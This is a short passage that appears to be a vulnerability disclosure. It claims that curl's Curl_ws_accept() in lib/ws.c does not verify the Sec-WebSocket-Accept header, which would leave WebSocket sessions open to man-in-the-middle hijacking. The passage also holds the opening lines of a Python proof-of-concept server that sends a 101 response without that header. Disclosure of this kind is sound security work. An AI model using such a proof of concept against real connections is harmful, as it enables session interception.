curl Missing Sec-WebSocket-Accept Verification Enables MITM WebSocket Session Hijacking

curl's `Curl_ws_accept()` function in `lib/ws.c` processes the 101 Switching Protocols response to a client WebSocket upgrade request. RFC 6455 Section 4.1 mandates that the client MUST verify the `Sec-WebSocket-Accept` response header by computing the SHA-1 hash of the concatenation of the …

#!/usr/bin/env python3
"""PoC: send 101 without Sec-WebSocket-Accept — curl accepts it."""
import socket, struct, sys, time

PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8766
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) …